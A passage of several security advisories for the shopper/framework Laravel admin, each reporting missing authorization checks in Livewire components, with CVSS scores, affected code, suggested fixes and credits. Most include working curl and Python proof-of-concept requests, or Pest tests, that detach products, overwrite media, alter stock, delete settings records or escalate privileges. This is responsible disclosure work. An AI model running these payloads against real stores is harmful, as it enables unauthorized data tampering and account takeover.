  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

• packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

The five sibling components that were fixed in commit fcd0c59 each now have:

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

Proof of concept

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

• packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91

// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
variant_id    = int(os.environ['VARIANT_ID'])
inventory_id  = int(os.environ['INVENTORY_ID'])
quantity      = int(os.environ['QUANTITY'])

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'variant': variant_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callAction',
            'params': ['stock', {
                'inventory': inventory_id,
                'quantity': quantity,
            }]
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

Any authenticated admin panel user, regardless of role, can set the inventory quantity of any product variant to an arbitrary value. A browse-only staff member holding only browse_products can zero out stock for every variant (triggering out-of-stock states store-wide) or inflate stock counts to bypass stock-gating at checkout. Because $variant is not locked, the attacker is not limited to variants visible on their current page; they can target any variant by its integer ID.

Suggested fix

// packages/admin/src/Livewire/Components/Products/VariantStock.php

use Livewire\Attributes\Locked;

#[Locked]                     // prevent client-side ID substitution
public $variant;

public function stockAction(): Action
{
    return Action::make('stock')
        ->authorize('edit_product_variants')   // add this
        // ... rest of the action

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Summary

Three Livewire admin components in shopper/framework (latest master at commit fcd0c59, released as v2.8.0) gate state-mutating actions on the read-only view_users permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / GHSA-f946-9qp6-vgch — the PR moved most write actions from view_users to access_setting, but three were missed (one of them is a brand-new file added by the security commit itself).

A staff user holding only view_users + access_dashboard (a realistic "support" or "viewer" role per Shopper's own PermissionsTableSeeder) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the admin role and then log in as that user; (3) delete arbitrary permissions rows (RBAC DoS) or — when can_be_removed=true — delete entire roles.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).

Vulnerable components (paths relative to repo root)

1) packages/admin/src/Livewire/Components/Settings/Team/Permissions.php

• togglePermission(int $id) at line 28 calls $this->authorize('view_users');
• removePermission(int $id) at line 55 calls $this->authorize('view_users');

The Permissions blade at packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php line 34 emits every permission's id directly in wire:click handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.

Net effect: any user who can mount the Permissions component (gated on view_users) can grant any permission row to the bound $role. Granting access_setting to the attacker's own role unlocks every action that PR #511 supposedly hardened with ->authorize('access_setting'). Granting delete_customers, edit_orders, edit_products, add_brands, etc. is direct data-modification escalation.

2) packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php

• mount() at line 53 calls $this->authorize('view_users');
• store() at line 122 calls $this->authorize('view_users');

This file is new file mode 100755 in commit fcd0c59 — it was created as part of the security fix and inherited the same misclassified gate.

store() creates a User with email_verified_at = now(), the attacker's chosen password, and any selected role_id. The Radio::make('role_id') options filter only excludes config('shopper.admin.roles.user'), so the admin role is selectable. Log out, log in as the new account → full admin.

3) packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php

• deleteAction at lines 81-90: only gated by ->visible($this->role->can_be_removed), with no ->authorize() chain.

Page-level mount (line 52) requires only view_users. For any role with can_be_removed = true, a view_users-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).

Self-confirmation in the project's own test suite

The following tests are green on master @ fcd0c59 — they ARE the PoC:

tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php
  line 14-16: `givePermissionTo('view_users')` only
  line 36-45: "can toggle permission to role" — passes
  line 74-85: "can remove permission" — passes

tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php
  line 16-18: `givePermissionTo('view_users')` only
  line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')`

A view_users-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.

Suggested fix

Change $this->authorize('view_users') to $this->authorize('access_setting') in:

• Permissions::togglePermission
• Permissions::removePermission
• Permissions::mount (defence in depth, matches Team\Index)
• CreateTeamMember::mount
• CreateTeamMember::store

Add ->authorize('access_setting') to RolePermission::deleteAction (matches the pattern already applied to generatePermissionsAction, createPermissionAction, and Team\Index::DeleteAction).

Update the two regression tests to use access_setting instead of view_users so they accurately reflect the privilege boundary.

Resources

• Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch
• Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b
• CWE-285 Improper Authorization
• CWE-862 Missing Authorization

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and if users would like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shoppers thanks those who keeping open source safe.

Summary

Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.

These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.

This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).

Affected components

| Component | File | Unauthorized action | |---|---|---| | Settings\Zones\ZoneShippingOptions | packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 | delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) | | Settings\Zones\Detail | packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 | delete → DeleteAction on the bound Zone | | Settings\Taxes\Detail | packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 | delete → DeleteAction on the bound TaxZone | | Settings\Taxes\TaxRates | packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 | delete → DeleteAction on a TaxRate |

Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.

Details

The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate — there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).

ZoneShippingOptions::deleteAction() is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:

// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
    return Action::make('delete')
        ->requiresConfirmation()
        // ... no ->authorize(), no ->visible()
        ->action(function (array $arguments): void {
            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id
            // ...
        });
}

Proof of Concept

Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.

use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;

uses(Tests\Admin\TestCase::class);

it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
    $attacker = User::factory()->create();
    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission
    $this->actingAs($attacker, config('shopper.auth.guard'));

    $zone   = Zone::factory()->create();
    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);

    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
        ->callAction('delete', arguments: ['id' => $option->id]);

    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable
});

Result:

Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)

PASS  3 passed (11 assertions)
  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
  ✓ a CarrierOption is deleted by the low-priv user
  ✓ a shipping Zone is deleted by the low-priv user

The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it — these four components simply declare none.

Impact

A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:

• Delete a CarrierOption → that shipping rate disappears from checkout for the zone.
• Delete a Zone → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone / getManualRates read these directly).
• Delete a TaxZone / TaxRate → TaxCalculator::resolveZone() can no longer resolve the zone, corrupting tax calculation at checkout.

Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).

Secondary issue found while reproducing

Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.

Suggested remediation

Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:

public function deleteAction(): Action
{
    return Action::make('delete')
        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission
        ->requiresConfirmation()
        // ...
}

Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.

Summary

The Shopper Framework discount management functionality accepts negative discount values without server-side validation.

It was confirmed that negative fixed-amount discounts can be created through the administrative interface, persisted to the database, and subsequently processed by the cart/order calculation pipeline.

The application appears to assume that discount values are always positive but does not enforce this assumption during creation, storage, or calculation.

As a result, malformed discount records can influence financial calculations and produce unintended order totals.

Affected Product

Package: shopper/framework

Version Tested: 2.8.1

Vulnerability Type

• Business Logic Vulnerability
• Improper Input Validation (CWE-20)

Description

While reviewing the discount functionality, it was discovered that the application accepts negative discount values through the administrative interface.

Example values tested:

-50.00
-99,999,999.00

The application accepted these values without validation and stored them in the database.

Example records observed in the sh_discounts table:

1 | QCZ5Y3HESM | fixed_amount | -5000
4 | TOZKAHCB4S | fixed_amount | -9999999900

This demonstrates that negative discount values are successfully persisted.

Steps to Reproduce

1. Create a Discount

Login as an administrator.

Navigate to:

/cpanel/discounts

Create a new discount with the following values:

Type: fixed_amount
Value: -99999999

Save the discount.

2. Observe Successful Creation

The discount is accepted by the application and displayed in the administration interface.

Example:

Code: TOZKAHCB4S
Amount: -$99,999,999.00

3. Verify Database Persistence

Inspect the database:

select * from sh_discounts;

Observed entry:

TOZKAHCB4S | fixed_amount | -9999999900

Technical Analysis

Discount Calculation

File:

vendor/shopper/cart/src/Discounts/DiscountCalculator.php

Observed code:

$fixedAmount = $discount->value;

The value is later processed without validation:

$fixedAmount = min($fixedAmount, $applicableSubtotal);

When a negative value is supplied:

min(-9999999900, 10000)

returns:

-9999999900

allowing the negative value to continue through the calculation pipeline.

The resulting adjustment values are inserted into the database:

CartLineAdjustment::query()->insert($adjustments);

No validation was identified to ensure that discount amounts are positive before calculations occur.

Final Total Calculation

File:

vendor/shopper/cart/src/Pipelines/Calculate.php

Observed logic:

$context->total = max(
    0,
    $context->taxInclusive
        ? $context->subtotal - $context->discountTotal
        : $context->subtotal - $context->discountTotal + $context->taxTotal
);

Because negative discount values are allowed to reach this stage, financial calculations are performed using malformed discount data.

Example:

Subtotal      = 10000
DiscountTotal = -5000

Resulting calculation:

10000 - (-5000)

Result:

15000

This demonstrates that negative discount values directly affect order total calculations.

Impact

The following was confirmed:

• Negative discount values are accepted.
• Negative discount values are persisted.
• Negative discount values are processed by the discount calculation engine.
• Negative discount values affect order total calculations.

Potential consequences include:

• Incorrect pricing calculations.
• Financial data integrity issues.
• Unexpected order totals.
• Violated assumptions within downstream pricing logic.
• Future vulnerabilities if additional components assume discount values are always positive.

Because Shopper is a headless e-commerce administration framework and does not ship with a customer-facing storefront, it was not verified a customer-facing exploitation path.

However, malformed discount records currently propagate through pricing calculations without validation.

Recommendation

Implement server-side validation enforcing positive discount values before persistence and before entering the calculation pipeline.

Suggested validation:

Fixed Amount Discounts

value > 0

Percentage Discounts

0 < value <= 100

Additionally, existing discount records should be validated before calculation to prevent malformed data from influencing pricing logic.

Environment

Shopper Framework 2.8.1
Laravel 12.61.1
PHP 8.4.16
SQLite

Summary

Five Filament groupedBulkActions blocks across the Shopper admin Livewire pages omit the ->authorize(...) permission gate, while their per-record sibling actions (and other Shopper Index pages such as Pages/Settings/Currencies.php, Pages/Reviews/Index.php, Pages/Collection/Index.php, and Pages/Discount/Index.php) correctly chain ->authorize(...). Each affected page's mount() only requires the read-only browse_* permission, so a low-privilege staff user holding only the read permission can drive the bulk endpoint via the standard Livewire callTableBulkAction flow and execute state-mutating operations they were never granted. The vulnerability is the same class as GHSA-f946-9qp6-vgch and GHSA-j328-xmgp-j4q3 (read-only permission gating a write action), just on a different surface (Filament 4 groupedBulkActions rather than top-level Livewire methods).

A staff user holding only browse_attributes can permanently delete every product attribute in the catalog (cascading break of every dependent product variant). A user holding only browse_tags can permanently delete every product tag. Users holding browse_brands, browse_categories, or browse_suppliers can flip the visibility (is_enabled) of every brand/category/supplier in bulk, sabotaging storefront catalog visibility.

CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High. CWE-285 (Improper Authorization) and CWE-862 (Missing Authorization). The attacker has low privilege (browse-only staff role), no user interaction, network reachable.

Vulnerable components (paths relative to repo root)

All references are HEAD = commit ac9a760 on master (the very commit that closed the previous wave of authorization-drift bugs from GHSA-j328-xmgp-j4q3).

1) packages/admin/src/Livewire/Pages/Attribute/Browse.php

Mount at line 36–39 requires only browse_attributes.

• Lines 106–122: DeleteBulkAction::make() has NO ->authorize(...) chain (the surrounding per-record delete action at lines 95–104 correctly does ->authorize('delete_attributes')).
• Lines 123–138: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 139–155: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_attributes-only user can delete every row in the attributes table, and toggle is_enabled on every attribute in one request. Deleting an attribute cascades into every product variant that references it via the attribute_product pivot.

2) packages/admin/src/Livewire/Pages/Tag/Index.php

Mount at line 39 requires only browse_tags.

• Lines 96–108: DeleteBulkAction::make() has NO ->authorize(...) chain (the per-record delete action at lines 79–94 correctly does ->authorize('delete_tags')).

Net effect: a browse_tags-only user can delete every ProductTag row.

3) packages/admin/src/Livewire/Pages/Brand/Index.php

Mount at line 37–40 requires only browse_brands.

• Lines 97–112: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 113–129: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_brands-only user can flip is_enabled on every brand. Disabling all brands removes them from the storefront catalog. The per-record edit/delete actions and the DeleteBulkAction at lines 130–148 are correctly ->authorize(...) gated — only the visibility bulk actions were missed.

4) packages/admin/src/Livewire/Pages/Category/Index.php

Mount at line 38–41 requires only browse_categories.

• Lines 102–117: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 118–133: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_categories-only user can flip is_enabled on every category. Same shape as Brand.

5) packages/admin/src/Livewire/Pages/Supplier/Index.php

Mount at line 38 requires only browse_suppliers.

• Lines 93–108: BulkAction::make('enabled') has NO ->authorize(...).
• Lines 109–125: BulkAction::make('disabled') has NO ->authorize(...).

Net effect: a browse_suppliers-only user can flip is_enabled on every supplier.

Reference comparison: places that ARE correctly gated

For reference, here is what the same pattern looks like in files that DID get the fix:

• packages/admin/src/Livewire/Pages/Settings/Currencies.php lines 90–129: every BulkAction chains ->authorize('access_setting').
• packages/admin/src/Livewire/Pages/Reviews/Index.php lines 105–119: DeleteBulkAction chains ->authorize('delete_reviews').
• packages/admin/src/Livewire/Pages/Collection/Index.php lines 109–128: DeleteBulkAction chains ->authorize('delete_collections').
• packages/admin/src/Livewire/Pages/Discount/Index.php lines 126–145: DeleteBulkAction chains ->authorize('delete_discounts').

The convention is established and applied elsewhere — these five files just missed it.

Proof of Concept

The attached file tests/Admin/Livewire/Pages/Brand/AuthBypassPocTest.php (added in this report) contains seven Pest tests, each acting as a browse_*-only staff user and invoking the bulk endpoint. All seven pass on master @ ac9a760:

   PASS  Tests\Admin\Livewire\Pages\Brand\AuthBypassPocTest
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-ENABLE all brands via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all categories via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all suppliers via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can DELETE all attributes via unguarded DeleteBulkAction
  ✓ it SHOPPER-2 PoC: read-only viewer can mass-DISABLE all attributes via unguarded BulkAction
  ✓ it SHOPPER-2 PoC: browse_tags viewer can DELETE all product tags via unguarded DeleteBulkAction

  Tests:    7 passed (32 assertions)

Each test seeds three records, signs in a user holding only the corresponding browse_* permission, calls Livewire::test(<Page>::class)->callTableBulkAction(...), and asserts the side effect (records flipped or deleted). For example, the attribute mass-delete test:

$this->viewer = User::factory()->create();
$this->viewer->givePermissionTo('browse_attributes');
$this->actingAs($this->viewer);

Attribute::factory()->count(3)->create();
expect($this->viewer->can('delete_attributes'))->toBeFalse();

Livewire::test(AttributeBrowse::class)
    ->callTableBulkAction(\Filament\Actions\DeleteBulkAction::class, Attribute::pluck('id')->toArray())
    ->assertHasNoErrors();

expect(Attribute::count())->toBe(0);

The call uses the same callTableBulkAction helper Shopper's own test suite uses everywhere, which in turn drives the same Livewire update payload the browser would emit — so this is a faithful HTTP-level reproduction.

Suggested fix

Add ->authorize(<correct_permission>) to each of the five vulnerable groups, mirroring the pattern already used elsewhere:

 // Pages/Attribute/Browse.php
 ->groupedBulkActions([
     DeleteBulkAction::make()
+        ->authorize('delete_attributes')
         ->label(__('shopper::forms.actions.delete'))
         ->requiresConfirmation()
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('enabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.enable'))
         ->action(function (Collection $records): void { /* ... */ }),
     BulkAction::make('disabled')
+        ->authorize('edit_attributes')
         ->label(__('shopper::forms.actions.disable'))
         ->action(function (Collection $records): void { /* ... */ }),
 ])

Apply the equivalent change to Pages/Tag/Index.php (delete_tags), Pages/Brand/Index.php (edit_brands for enable/disable), Pages/Category/Index.php (edit_categories), and Pages/Supplier/Index.php (edit_suppliers).

A regression test for each file (acting as a browse_*-only user and expecting assertHasErrors/AuthorizationException) would lock in the fix, matching the regression tests added for #514.

Resources

• Prior advisories of the same class (read-only permission gating a write action): GHSA-f946-9qp6-vgch, GHSA-j328-xmgp-j4q3 / GHSA-vw82-3966-f9mr.
• Same-shape fix: commit ac9a760 (PR #514). Five Filament bulk-action groups did not receive the corresponding ->authorize(...) chain.
• CWE-285 Improper Authorization, CWE-862 Missing Authorization.

Credits

Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent

Support

If this disclosure was useful and userswould like to support continued open-source security research and responsible-disclosure work, they can sponsor at https://github.com/sponsors/therawdev — Shopper is thankful for those keeping open source safe.

Title

Missing authorization on product removal actions in CollectionProducts component

Description

